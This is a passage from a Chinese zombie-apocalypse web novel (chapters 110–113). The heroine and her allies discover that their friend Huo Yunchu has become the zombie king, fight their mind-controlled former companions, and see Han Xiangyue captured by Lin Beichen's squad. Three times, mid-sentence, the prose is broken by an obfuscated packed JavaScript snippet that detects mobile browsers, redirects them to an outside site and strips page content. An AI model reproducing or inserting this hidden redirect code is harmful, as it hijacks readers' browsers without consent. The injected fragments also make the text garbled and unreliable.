目光越过群山,越过山岭黑压压的丧尸群,一路向下。 最终,他看到了那个站在山脚,安静,沉默,一言不发的人。 而被盯着的人似乎感知到他的注视,抬起头,目光毫不畏惧地与他对视。 110. 饶城基地8 雾气彻底消散,不久前熊熊燃烧的烈焰消失殆尽,卢淼,钱朗等人的身影也逐渐破灭,脚下的山路恢复原样。 “刚刚的真的只是幻境?” 沈观宴愣愣地看着眼前的场景。 其他两人还没有从刚刚的凶险中回神,只有池遥呆呆地站在原地。 “还好吗?”韩厢月微微低头,贴在池遥耳边问她。 耳边突然感受到了冰冷的气流,池遥才回过神来,歪头看向韩厢月,再看向卢淼原本所在的地方,那里却变得空荡荡的,刚刚隐约可见的身影消失了。 “刚刚卢淼消失的时候,我看到她原本站着的地方出现了一个人影。”她将自己刚才看到的景象讲给二人听,“但是只是一个虚影,看不清脸。” 不知为何,池遥有种格外熟悉的感觉。 原本打算继续向山顶进发,但想到刚刚出现的卢淼和钱朗等人,三人还是决定先去山脚的车里检查一下,确定高等丧尸们都在。 然而,来到停在山脚的商务车前,三人却沉默了。 他们离开不过几个小时,商务车的外壁却被撞击变形,半个车头凹陷进去。车门已经不翼而飞,地上满是玻璃碎片,车里的四位高等丧尸已经不见踪影。 车门被外力暴力拆卸,车外的撞击凹陷也是由外部撞击造成的,一时间,诸多不好的想法接二连三地浮现。 被他们关在车内的高等丧尸是被外人强行破开车门劫走了吗? 可是,除了他们,这附近怎么会有人出没? 还是,被丧尸劫走的? 她再次观察一遍车身几个凹陷处,明显不是普通人,甚至能力者的力量能造成的痕迹,只有可能是丧尸。 而且是三阶以上的丧尸。 想到这里,她微微松了口气。 尽管失去了自我意识,但卢淼等高等丧尸的实力十分强劲,普通丧尸无法伤到他们。 “我们继续向上吧,如果预言是真的,这座山上的丧尸中应该存在有智力和自我意识的丧尸王,这些说不定和丧尸王有关。”韩厢月拍拍池遥的肩膀。 “而且你们不是说霍哥能感应到他们吗?只要咱们先找到霍哥,肯定就能找到他们了。”沈观宴补充一句。 的确,现在最为重要的就是找到霍云初。 几人重新爬上山,几小时后,终于到达半山腰。 登山过程中,几人逐渐能够看到丧尸群的影子,偶尔有几只离群的丧尸游逛到他们附近,韩厢月会利用高等丧尸的能力驱使普通丧尸自行远离。 过去与霍云初相处的时间里,韩厢月暗中学习了很多高等丧尸的能力,直到今天遇上丧尸群才得以施展。 就这样,一路有惊无险地前进,远处丧尸群的阴影越来越大,像水波纹一样隐隐游动,朝着丧尸群移动的方向看去,隐约望见一个黑黢黢的洞口。 洞口四周的山壁上,爬满了低阶丧尸,它们似乎是本能地朝着山洞的位置涌动,但又因为某种不可抗力而无法进入山洞内,只能本能地攀上山洞附近的岩壁。 山洞周围的山壁,泥土,树木,各处都堆叠着蠕动的丧尸,山洞中似乎有什么吸引他们的东西,他们甚至注意不到逐渐接近的池遥和沈观宴两个大活人,只一昧地堵在洞口附近,场面诡异至极。 明明早已进入丧尸的视野范围,却没有一只丧尸对他们发起攻击,沈观宴本能地想要凑近看看情况,却被一只手拉住了。 身后的池遥拉住他的衣服,示意他朝身后看。 沈观宴这才意识到,韩厢月并未跟上来。 他还站在远处,身体痛苦地佝偻下去,双手抱紧了脑袋。 “没事吧?”池遥走过去,怕惊扰状态诡异的丧尸群,只小声询问,同时握住韩厢月的手,输送治愈能力,试图缓解他的痛苦。 韩厢月抬眼,苍白的面颊微微抽搐一下,他深深抽了一口气,身体因为池遥输送的能力微微松懈一点。 “是丧尸王的声音。” 他的声音有些发抖。 池遥和沈观宴都是人类,自然感受不到,但韩厢月作为高等丧尸,从踏上山顶附近,就听到了在脑海中重复不停的声音。 “回来......回来......” 嘶哑机械的声音,一遍又一遍在脑海中回响,引诱着所有丧尸接近山洞的方向,韩厢月作为高等丧尸本不该被其他高等丧尸影响,但他此时却难以自控,若不是他意志力坚定,恐怕会和其他丧尸一样不顾一切朝着洞口接近。 “是丧尸王。”韩厢月吸了一口气,紧咬牙关,轻声告诉她,“他在命令我们回去,他就在山洞里!” 能够在所有丧尸脑海中直接发号施令的丧尸王吗? 池遥蹙紧眉头。 眼下这种情况,她不能承受再失去一个伙伴的风险了,不能再往前面去了! 她拉着韩厢月的手,转身想要朝着反方向走。 “池遥!” 沈观宴突然拉住她的另一只手。 刚刚池遥与韩厢月交流时,沈观宴一直没有说话,他神情凝重地望着洞口处,过了很久,突然叫了池遥的名字。 “你看,那是不是钱朗?” 他们一行人中,只有钱朗穿着一件亮色的皮质外套,远远看去十分显眼,正因如此,池遥顺着沈观宴的手指方向看去,立刻看到了熟悉的背影。 钱朗的影子很快隐没在簇拥在山洞外的丧尸里,可池遥看清楚了,钱朗此时身在山洞内部,山洞内似乎也有大量丧尸,他的身影挤在众多丧尸里,摇摇摆摆地向前走去。 如果钱朗在山洞里的话,其他人一定也在附近。 可是,韩厢月的状态似乎已经不能再往前了。 “没事。” 身后的青年松开一只捂脑袋的手,紧紧握住了她的手。 他的呼吸仍旧紊乱而急促,却尽可能地直起身体,作出一副没事人的模样。 “我没事......还能坚持,我和你们一起进去。” “真的没事吗?” 韩厢月面色惨白地点头。 池遥心中担忧,可此时除了继续前进,也没有其他办法,看着韩厢月明显强撑的神色,她只能握紧他的手,又注入一些能力。 “我的能力能缓解你的痛苦吗?” “嗯。”韩厢月微微点头,勾了一下嘴角,“很有效。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821155|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>才不是呢。 池遥在心里小声说。 他的脸色完全没有因为池遥的能力好起来。 然而,他握着池遥的手却又握得很紧,甚至能让池遥感受到微微的痛感,攥得指尖发白也不愿松手。 没办法,池遥狠下心,跟着沈观宴朝洞口走去。 直到三人接近洞口,才有几只丧尸注意到他们,又被眼疾手快的池遥迅速解决。 见到池遥手里的刀,沈观宴干脆在挡在前面的丧尸群中制造出几个爆炸,拉着池遥快速穿过爆炸制造出的缺口,一路冲进了山洞内。 池遥本以为外部的丧尸进不去山洞内是因为有屏障阻隔,可他们三人如此轻易就进入了山洞内。 也许是因为丧尸王的命令,外部的丧尸才进不来山洞? 心中这样想着,池遥跟随着沈观宴朝着山洞深处走去,周围的丧尸都呆呆地朝着前方前进,他们混在丧尸群中,居然没有一只丧尸注意到他们。 山洞里面的丧尸,似乎比外部的丧尸更为呆滞。 很快,前方骤然变得开阔,池遥没想到山洞内部是一个巨大的空间,而在这个空间内,挤满了不同的丧尸,它们如同朝圣般,呆呆地仰着头,将呆滞的目光投向头顶的宝座。 丧尸群的正中间,是一个巨大的宝座,如同王座一般,几乎建立在所有丧尸的头顶上,只要一抬头就能清晰看见靠坐在王座上的那道身影。 无疑就是丧尸王。 身形修长有力的丧尸王穿着一套被鲜血浸透的衬衫西裤,衣袖残破,露出精健有力的手臂肌肉,他身形倦怠而懒散地倚靠在王座上,一条胳膊搭在曲起的腿上,身形闲散又松弛,但一举一动却显得优雅矜贵。 池遥的位置碰巧能看到他的正脸。 丧尸王有一张分外英俊的脸,五官端正俊美,显得脸颊上的血迹都带着几分艳色,唯有一双血红色的眼睛,仿佛被镶嵌在眼窝中的两块浸在鲜血里的冰,不停散发寒气,没有一丝温度。 池遥的身体颤了一下。 直到这个人坐在她眼前,她都无法相信。 为什么,他们一直以来防范的,抵御的,想要击败的那只发动丧尸潮的丧尸王,就是霍云初本人呢? 眼前的霍云初,除了长着一张霍云初的脸,似乎与池遥记忆中可靠的青年完全变了一个人,只看着那双血红色的眼珠,她就感到不寒而栗,根本不敢相信,这会是那个亲手将她从隐山救出来的人。 ——只要我提前行动,在丧尸潮发动前杀掉它,未来的丧尸潮就不会发生,庄园也不会被波及到。 分别前的对话,只有她一个人熟记于心吗? “怎么会是你呢.....” 她不敢说出声,惊扰身边的丧尸,只能盯着高处的身影,无声地说出口,心中酸涩一片,难过得狠狠揪起来。 似乎听到她的声音,那双毫无感情的眼珠动弹一下,缓缓与她对视。 “啊......” 王座上的人发出一声叹息。 “我好像,不小心,放进来,几条,漏网之鱼啊。” 他的声音嘶哑,断断续续,如同牙牙学语的孩童,十分怪异。 111. 饶城基地9 一瞬间,山洞中的丧尸齐齐扭头,看向他们,却又因为丧尸王的命令站在原地不动,只是这从四面八方而来的目光就足以让人胆寒。 “霍哥?”沈观宴瞪大眼,不知所措地看着眼前的丧尸王。 一切异常似乎全部都有了答案。 为什么卢淼等高等丧尸会失控,失去神智,因为霍云初也失去了神志,他变成了丧尸王,彻底变成了站在人类对立面的丧尸。 为什么明明霍云初出发是为了消灭丧尸王,改变预言中的情况,而此时一切却反而变得更糟。 盲眼婆婆看不见他们的长相,她描述的,未来画面中的丧尸王,本就是霍云初本人。 一切似乎全部超出了预测之外,混乱地纠缠在一起,错综复杂,令人绝望,走向了最坏的结果。 王座上的丧尸王动了。 他动作轻而敏捷地站起身来,一步步走下高台,他每走一步,身前的丧尸就主动让出空间,给他让出一条仅供一人通行的道路出来。 池遥紧张地握紧了韩厢月的手,韩厢月站在她身后,她看不到青年的表情,不知道他处于什么状态,只能感觉到韩厢月的手指轻柔地摩挲她的手背。 霍云初缓慢地朝着他们走来,一直停在他们面前,距离很近。 近到,池遥只要稍微向前一步,就能触碰到他的程度。 掌心之下的能力蠢蠢欲动。 一瞬间,池遥浑身绷紧,指尖掐紧了韩厢月的手,心中的不同想法在打架。 眼前的霍云初,明显已经不是他们亲近的朋友了,不知发生了什么,他彻底丧失了神志,成为了如今他们面前残忍冷漠的丧尸王。 他们的距离真的很近,只要碰到霍云初的手,就能杀死丧尸王。 也就能从根源上解决丧尸潮的问题。 可是,可是...... 可是他是霍云初啊。 无论变成什么模样,他都是她熟识的霍云初啊。 ”外来者。“丧尸王的声音毫无起伏,机械而平板,冰冷的目光扫过面前的三人。 他的目光刺痛了熟识的三人,沈观宴下意识后退一步,而池遥则松开了韩厢月的手,上前一步,抬起手,动作极快地触碰了丧尸王的手。 一瞬间,掌心中蕴藏的能力毫无保留地涌进丧尸王的身体里,一股区别于所有过往感受的热流,强横地贯穿了他。 在触碰他的瞬间,池遥发动了治愈能力。 她根本下不了手,霍云初无论变成什么模样,都是她认定的朋友,他们之间相处的过往不会伴随他的变化而消失,池遥也不会因为朋友的变化而狠下心下杀手。 她最终选择了一次新的尝试。 她的治愈能力对于韩厢月,霍云初等高等丧尸一样有效,那么,她的治愈能力能否帮到霍云初呢? 即便可能会失败,可能会错失唯一一次杀死霍云初的机会。 她也想尝试一下。 彻底丧失人类意志的霍云初,是否有被治愈的可能。 她的手只是短暂碰触,立刻就离开了霍云初,人也随之后退几步,拉开了和霍云初之间的距离,速度迅速到似乎只是一个意外。 只有丧尸王知道,有一股从未经历过的温热,输送进了他的身体。柔和的热度让他隐隐感到有几分熟悉。 这种感受,过往的他应该也体会过。 可是,究竟是什么时候? 池遥眼睛眨也不眨地盯着他,大量能力输送进去,丧尸王似乎没有发生什么变化。 然而,一瞬间,霍云初盯着她的目光却骤然变了,变得多了几分探究,目光聚焦在她身上,变得似乎多了几分属于人的情绪。 可惜,这种变化只持续了短短几秒,很快,他的目光再度变回毫无感情的样子,骤然抬起手。 在他抬手的瞬间,所有虎视眈眈盯着他们看的丧尸忽然动了,反应最快的是站在池遥和沈观宴身后的韩厢月,他第一时间感知到周围的变化,一手拉着一个人,飞速向山洞口后退。 注意力全部放在霍云初身上的池遥和沈观宴两人迅速反应过来,转身跟着韩厢月朝洞口跑去,接近他们的丧尸全部被沈观宴制造出的爆炸阻隔,一时间,前路畅通无阻。 然而,距离洞口还有一步之遥,韩厢月的身形突然晃动一下,跪坐在地,双手捂脸,一双温和的眼睛隐隐发红,瞪向丧尸王的方向。 “韩厢月!” 池遥扑上去扶他,韩厢月身形消瘦,她顾不上检查韩厢月的状况,只拉着他的手臂飞速跑出山洞,边跑边给他输送治愈能力,试图缓解他的状况。 “真奇怪,明明是,我的血脉……” 属于丧尸王的,断断续续的说话声从山洞内传来,他似乎并不打算亲自追上这三名擅闯他的巢穴的不速之客,只给山上的所有丧尸下达了追杀他们的命令。 三人之中,只有沈观宴的能力是攻击能力,他用强力爆炸掩护三人快速撤离,却依旧难以抵挡数量庞大的丧尸群。 而池遥同样不轻松,韩厢月整个人不受控制地蜷缩起来,状态很差,她几乎是扛着韩厢月的重量跟随在沈观宴身后撤退。 “池遥……池遥……” 耳边传来韩厢月错乱的呢喃声。 “别带我走了……我……他想控制我……我会对你们出手……放下我吧……” 一声又一声微弱的哀求,反复撞击池遥耳畔,她却无法做出任何回应。 她不可能丢下韩厢月离开。 咬牙坚持已经耗费了她大量力气,不停输送的治愈能力也在削减她的体力,她此时根本不敢开口,害怕一开口就泄了气。 “我们不会丢下你!” 沈观宴在一旁替池遥做出回答。 “我……” 韩厢月似乎还挣扎着想说什么,被池遥死死拉着的小臂肌肉却骤然一阵紧缩,池遥慌张朝他看去,看到他紧紧捂着面容的指缝中,溢出几丝血色的微光。 他也要变成那副双眼血红,理智全无的样子了吗? “韩厢月!” 她忍不住大声喊出他的名字,另一手挥刀砍倒面前被沈观宴遗漏的丧尸,快步跟上沈观宴的脚步。 一定有办法的。 就算找不到失散的其他伙伴,其他高等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831309|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧尸一定也在霍云初的控制之下。 至少,至少要把身边的韩厢月带回去啊! “池遥!” 沈观宴的喊声唤回了池遥的注意力,几乎同时,她本能地闪身躲避,躲过最近的丧尸的攻击,反手挥出一刀。 却同样被偷袭她的丧尸躲开。 这时,她才注意到,偷袭她的丧尸与其他丧尸明显十分不同,它穿着一身轻便的运动装,身形修长有力,隐约看得见衣料下的肌肉轮廓,但脸上各处却能看出明显拙劣的妆容痕迹,透出与脖颈截然不同的惨白色泽。 “好久没有见过人类了!” 盯着她的丧尸露出一个恶劣的笑容。 会说话,有自我意识,居然是个高等丧尸! 霍云初的手下,居然还有除他以外的高等丧尸! “别和他纠缠,赶紧撤退!”沈观宴的喊声似乎从很远的距离之外传来。 池遥倒是想撤退! 可是无论动作多快,身后的高等丧尸如同一块黏人的狗皮膏药死死缠着她不放,而池遥一边撤退,一边还要兼顾身边的韩厢月,为他持续不断地输送能力,动作不知不觉间迟钝几分。 下一秒,面对身后再次贴近的高等丧尸,池遥反手过去,紧紧抓住对方的手腕,调动能力,吸取他的生命力,对方反应极快,立刻甩开了池遥的手。 这次之后,高等丧尸终于不再纠缠池遥了。 池遥立刻追上沈观宴的脚步,一路向下撤离,注意到池遥跟上来,沈观宴立刻出手,不停在池遥身后制造爆炸,屡屡甩开跟上的丧尸,幸好他们配合默契,身后追随的丧尸明显减少。 很快就要到达山脚了,可是,池遥心中突然再次想到一个无法忽视的事实,他们从饶城一路出发,经历了足足五天的车程才来到天山脚下,然而,此时他们的车子却已经报废了。 没有了商务车,即便跑到山脚下,也依旧甩不掉丧尸群的追杀。 怎么办? 还没想到这一难题的处理办法,跑在池遥前方的沈观宴就率先开口。 “池遥!” 下一秒,灵活的藤蔓从池遥脚下的地面中陡然钻出,试图卷住池遥的脚踝,被曾经吃过亏的池遥一眼识破,迅速躲开。 游离在池遥四周的藤蔓如同一条灵活的蛇,仿佛有自我意识一般快速发起攻击,池遥挥刀斩断藤蔓,没过一会儿,又是一条新的藤蔓出现。 不知何时,卢淼已彻底沦为丧尸王驱使的行尸走肉,她站在远处,毫无神采的双眼平静地看着前方,似乎与池遥的战斗与她无关。 “卢淼!” 池遥不知道该如何挽回卢淼的神志,只能大声叫她的名字。 然而,回应她的并未藤蔓,而是无数在他们身边升腾而起的火星,似乎编织成一张密密麻麻的大网,死死禁锢着网中的猎物。 “钱朗……” 在二人身侧,同样被丧尸王控制的陈霄与岳明二人接连现身,他们受丧尸王影响,彻底失去了神志,变成了只知道服从命令的傀儡。 曾经并肩的伙伴,现在相对而立。 被迫成为敌人。 112. 饶城基地10 末日初期,池遥曾经遇到过变成丧尸的同学。 那个时候的她饱受丧尸之苦,对丧尸的态度坚定而决绝,手起刀落,狼狈却坚定地解决了故友的性命。 然而,从第二个世界开始,对丧尸的认知在池遥心中一变再变,随着与霍云初的接触,丧尸在她心中从一个扁平的概念逐渐被添上了生动的颜色。 她该如何看待丧尸这个族群呢? 往日坚定的想法在出现霍云初这个变量后逐渐动摇,当看到身边的同伴一个个变成高等丧尸,池遥在这个世界上的立场也不由自主,偏向了丧尸那一边。 一切起始于霍云初。 霍云初这个人,拥有一切人类才拥有的情绪波动,感知,喜怒哀乐。但同时,他会因为自己的身份而产生错位的认知,由于保留人性而坚决不伤人,对同伴的重视甚至远超普通人。 就是因为遇到了霍云初,池遥才会发自内心相信,只要霍云初成为丧尸王,这个世界的末日真的是有转机的,霍云初不会放任丧尸伤害人类,人类的境遇就会相对缓和,这个世界的危机也会缓解。 可是,当霍云初真的成为了丧尸王,一切却都变了。 池遥见过很多次卢淼与敌人战斗的场景,卢淼的藤蔓十分灵活,力量强大,一旦紧紧束缚住敌人,敌人就再也没有反抗之力。 而此时,这条藤蔓作用在了池遥身上。 彻底任由霍云初驱使的卢淼不会对池遥手下留情,池遥手边还抓着韩厢月,带着一个人,不像往日那般灵活,只能小幅度闪躲,不免受了很多不必要的伤。 “放开我吧。”韩厢月的声音很轻,带着哀求。 “我真的……真的会拖累你的,池遥……” 相比沈观宴和霍云初这种身形高大的男子,韩厢月的身高稍逊一些,但也比池遥高半个脑袋,她带着韩厢月一路走来很不容易,听到韩厢月的请求,池遥一咬牙,将韩厢月扯到自己身后,弯下身子,将他背在自己身上。 “抓稳了。” 她只用一只手固定住背上的韩厢月,刚刚吸收了高等丧尸的生命力,此时她的体力恢复了不少,给韩厢月输送能力就变得容易起来。 另一只手则握紧了手中的刀子。 她和沈观宴两个人对上对面四只高等丧尸,就算自己不愿对曾经的同伴出手,也不能眼睁睁看着沈观宴被杀。 下一秒,她率先出手,攻向离她最近的卢淼,身边的沈观宴也主动出手,在钱朗身侧引发爆炸。 这一举动是为了将钱朗与一旁的岳明分隔开,身边没有起雾,岳明还没有发动他的能力,一旦岳明发动能力,处于浓雾中,视线和感官双双受阻,情况会变得更糟。 不知为何,四位高等丧尸中,只有卢淼和钱朗频频出手,岳明和陈霄一直站在原地,没有动弹。 不过,陈霄和岳明的能力都偏向于辅助,没有杀伤力,只卢淼和钱朗两个人就让沈观宴和池遥应付得有些困难。 对面四人若只是素不相识的高等丧尸,池遥和沈观宴绝对不会应对得如此狼狈,可这些人都是池遥一路以来的伙伴,就连沈观宴也在饶城基地与他们朝夕相处过一个月。 尽管做好了觉悟,主动出手攻击,可二人仍旧难以对往日的同伴下杀手。 池遥的体力消耗比以往任何一次战斗都快,毕竟背上还背着韩厢月,韩厢月在此时完全成为了她的负担,但池遥不敢把这个负担放下。 她不能再失去韩厢月了。 而韩厢月似乎理解她的心情,一直牢牢地靠在她身上,重心一直随着她的动作而更改,尽可能减轻池遥的压力。 然而,当池遥骤然压低身体,躲过卢淼的攻击时,身体一沉。 背上的韩厢月不知为何突然从背后捏住她的后颈,身体做出扑跃的动势,虽然没有真的在池遥身上扑动,但重心的骤然改变和产生的巨大压力立即将本就弯腰的池遥压倒在地。 头上有什么东西掠过,因池遥突然倒地反而侥幸逃过一劫。 池遥猛地抬头看去,才发现那是陈霄的手,趁着她和卢淼交手的间隙,陈霄趁虚而入,试图偷袭。 池遥全部注意力都放在卢淼身上,幸好韩厢月注意到了这一点。 只是,池遥倒地时,韩厢月也不可避免地一起摔倒在地,池遥想把他扶回自己背上,却被他反手拒绝。 “没事。” 吸收了池遥的大量治愈能力,他此时虽然神色仍旧隐忍,但似乎还能保持理智,主动放开了池遥的手。 “我还能照顾自己,你专心对付他们,别担心我。” 池遥点点头,转过身再度抵挡住冲上来的卢淼,又用另一手攥拳挡住陈霄的手。 同时面对卢淼陈霄两人的攻击,她有些招架不住,幸好他们此时没有自我意识,全凭丧尸王操控,彼此之间还没什么默契。 战斗间隙,池遥余光瞥见,韩厢月仍旧没有从倒下的地方起身,他只是艰难地侧过身,把自己死死蜷缩起来,一只手死死抵着土地,指尖用力到发白,指甲附近被泥土染上了不少污渍。 真是......又在逞强了。 另一边的沈观宴面临的也是相似的境况。 起初,他刻意把钱朗和岳明分开,试图逐个击破,幸好岳明一直没有发动能力,他在与钱朗的战斗中逐渐占据上风,只是一直不愿下死手,二人之间的打斗陷入僵持状态。 沈观宴一直试图摸索出一种既不伤及钱朗的性命,又能够限制他的行动能力的攻击方式,然而,还没摸索出来,就陡然觉得身后一冷。 出于自保,沈观宴立刻放弃了继续攻击的念头,本能地闪避到一旁,朝自己刚刚站立的方向看去,看到了偷袭他失败的岳明。 不知为何,岳明一直没有动用能力,而是使用武力攻击,这样的攻击奈何不了沈观宴,他一边抵挡两个高等丧尸的攻势,一边在心中思考。 岳明为什么不使用能力? 更准确来说,丧尸王为什么不操控岳明使用能力? 攻击频频被挡住,对面的两位高等丧尸似乎转换了攻击方式,岳明开始缓慢后退,留钱朗一个人对付沈观宴。 沈观宴心知有阴谋,后退几步,转换了一个能同时看到两名丧尸动向的方向,目光扫视一周,却突然停留在远处的山路上。 本空无一人的山路上,出现了黑压压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835164|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丧尸群。 奇怪,他们明明已经甩掉了其他丧尸,为什么这么快就再次追上来了? 难不成岳明不施放能力的原因是给追上来的丧尸引路? 沈观宴心中咯噔一下。 “池遥!”他立刻喊池遥的名字,池遥那边还待着已经失去行动能力的韩厢月,情况只会比他这边更困难,一定没有注意到这个细节。 “不要恋战!找机会脱身!那些丧尸追来了!” 听到沈观宴的声音,池遥也注意到了山上的动静,一把拉住韩厢月,向前跑去,然而卢淼的藤蔓比她更快,死死堵住了她的去路。 池遥一刀挑开藤蔓,藤蔓却仿佛预判了她的动作,先行躲避,没有对池遥出手,反而卷住池遥身边的韩厢月。 韩厢月此时的状态根本无法挣脱。 韩厢月同样是高等丧尸,一直以来,追逐三人的丧尸们只会对池遥和沈观宴出手,会自动忽略韩厢月,这还是第一次,有丧尸主动对韩厢月出手。 池遥立刻挥刀,然而还是晚了一步,就在将韩厢月整个人卷进其中的瞬间,藤蔓周身突然散发出一阵柔和的青草味,池遥不明所以,却看到原本状态已经平稳下来的韩厢月双眼再次发红,浑身颤抖起来。 此时,藤蔓才慢慢松开,韩厢月脱力地摔倒在地,池遥一把攥住他的手,输送能力。 “池遥,先把我放开吧。” 韩厢月的声音听起来似乎平稳下来了。 池遥试探着放开了手,却看到韩厢月一个翻身,动作利落地站起身,反手扼住她的脖子! 这一切只发生在一息之间。 怎么会? 池遥震惊抬眼,对上了韩厢月的双眼。 只在刚刚一瞬间,他的双眼已经完全变成了血红色,与霍云初的如出一辙。 “韩厢月......” 虽然掐着她的脖子,但韩厢月的动作却十分僵硬,只让池遥感到脖颈被压得有些疼痛,却不影响她正常呼吸,她不由地开口,念出了她的名字。 听到她的名字的瞬间,韩厢月似乎才清醒过来,一把甩开手,后退一步,一手按住脑袋,血色的眼珠直直看着她,慌张无措。 他还没有完全丧失理智。 池遥这才松了口气,然而,突然间,韩厢月的神色再度变化,一贯温和的脸上竟然出现以往从未出现过的狠厉神色,他身形迅速挪到卢淼和陈霄身前,挡下两颗不知何时出现的子弹。 怎么回事? 这里明明只有她和沈观宴两个能力者在对抗高等丧尸,为什么会出现第三个人的攻击? 池遥余光扫过沈观宴的方向,发现钱朗和岳明同样被不知何处而来的子弹击中。 她扭过头。 天山周围城镇没有高楼,最高也只是六七层的房屋,因此,在没有任何房屋的影子遮掩,偏浓的金光织就的天际线正中,出现了一群逆光的身影。 这些人服装制式完全相同,池遥看不清他们的脸,唯有站在所有人最前方的身影在制服外披着一件长度快到膝盖的黑色大衣,只看到那件熟悉的大衣,池遥就得知了此人的身份。 林北辰。 113. 北方基地1 林北辰怎么会来这里? 瞬间,池遥看向身旁的沈观宴,发现沈观宴也是一副意料之外的模样。 与错愕的二人不同,对上他们的目光,林北辰没有第一时间走过来,而是侧头与身边的副官交代一句,上一位副官死后,他身边又换了一位新副官。 下一秒,他身旁的副官抬起手,顷刻间,池遥等人头顶出现了一张大网的轮廓,直直向下罩去! 似乎意识到头顶上陡然出现的危机,对面的几只丧尸都明显焦躁起来,突然间,周身弥漫起一阵雾气,岳明终于施放了能力。 远处的林北辰等人见情况不对,立刻加快了速度,朝他们的方向奔来。 很快,雾气消散,卢淼等高等丧尸的影子再次消失,丧尸王操控他们逃离此处,而地上的大网中,则束缚着一个清瘦的影子。 盯着那个人影,池遥呆住了。 “诶?” 被地上的巨网笼在其中的,正是一直与池遥和沈观宴站在同一立场的韩厢月。 其他高等丧尸在林北辰出现的瞬间第一时间逃跑,而韩厢月不同,他本就与池遥和沈观宴一同行动,根本没有逃离的必要。 最重要的是,韩厢月一直在与脑中试图控制他的丧尸王意志做抵抗,刚刚突然爆发帮助两只高等丧尸挡下子弹已经是强弩之末,此时根本无力反抗。 恐怕,就算林北辰想要杀死他,他也无法抵抗。 自己保护了一路,好不容易逃离丧尸王手下的人,现在却落在了林北辰的手中,池遥第一反应是挥刀试图砍断束缚着韩厢月的大网,但刚举起刀,手腕就被身边的人紧紧握住。 身旁的沈观宴抬手拦住了她。 “别担心。”他的声音压得很轻,朝她轻轻摇头。 池遥将担忧的目光投向被困在大网中的韩厢月,发现韩厢月虽然身体状态很差,眼底也变成了一片血色,但看着她的目光仍旧平和温柔,完全没有任何慌乱的情绪,听到沈观宴的声音,还朝池遥点点头,示意池遥听沈观宴的建议。 于是,池遥没有轻举妄动,略微后退一步,将半个身子掩在沈观宴身后,带着几分警惕看向来到他们面前的林北辰。 “你怎么来到这儿了?”沈观宴开口的语气十分熟稔,似乎只是偶然遇到林北辰一般。 “基地观测到北方的丧尸大幅度减少,我带队来看看是怎么回事,一直追查到天山这边。”林北辰叹了口气。 走近了才发现,他眼下的黑眼圈十分明显,下巴也有了青色的胡茬,肉眼可见地憔悴了不少,似乎已经为此事忙碌许久。 “我还想问,你为什么出现在这里?而且还和她在一起,”他伸手指向沈观宴身后的池遥,“真是意料之外的组合啊,我们不过快两个月没见,你总是能让我感到意外。” “我和池遥也是偶然遇到的。”沈观宴无奈地叹了口气,半真半假地解释,“我和你的想法类似,北方的丧尸大幅度减少,这种现象过于异常,所以才来这里打探情况,中途遇上了池遥。” “池遥小姐是独自来的?”闻言,林北辰侧头看向池遥,“上次见你,你不是还跟在霍云初身后吗?怎么,他把你抛弃了?” 即便明白林北辰是在嘲讽,想必不会知道霍云初身上发生的事,可听到林北辰的话,池遥和沈观宴的表情同时僵住了。 “我们的确分开了,但那是因为我们的目的不同。”半天,池遥才慢慢给出了模棱两可的答案。 林北辰明显不相信她的说辞,闻言冷笑一声,才低下头,似乎才想起来似的,看向被笼在网中的韩厢月。 林北辰看向韩厢月的瞬间,池遥突然心中一紧,想到林北辰曾经亲手“杀”过韩厢月,尽管距离现在已经过去将近两个月了,但不知道林北辰是否还记得这件事,毕竟沈观宴就对这件事有印象。 然而,林北辰与韩厢月对视半天,似乎早已忘记曾经对韩厢月做的事情,只微微捋起衣袖,露出手腕上形似手表的丧尸检测器,缓缓蹲下来。 当他的手碰到韩厢月时,仪器突然发出一阵尖锐的警报声。 “果然是高等丧尸。”他嘀咕一句,侧过头看向身边的副官,“我记得刚才我们看到这里一共有五只高等丧尸吧?怎么就抓到一只?” “对不起,队长,我的网是根据捕获对象的能力来界定的,如果网中的对象实力远高于我,一次只能束缚一人!” “没用的能力。”林北辰扭头送给副官一个冷眼,才扭过头,仔细打量网中的人。 “这张脸长得倒是很熟悉,你知道他什么来历吗?” 半晌,他抬起头,看向一旁的沈观宴。 “嗯。他也算是北方基地的人。”沈观宴思索片刻,回答道。 唯有池遥被蒙在鼓里,一时之间不知道这两个人在打什么哑谜,韩厢月怎么会是北方基地的人? 察觉到她的情绪,沈观宴伸手摸索到她的手,安抚地拍了拍她的手背。 “这样啊,那就好办了。”林北辰朝着站在一旁大气不敢出的手下们看去。 “都站着干什么?过来绑人啊,绑得严实点,别让他跑了,然后把他押上车!” 语气相当不客气。 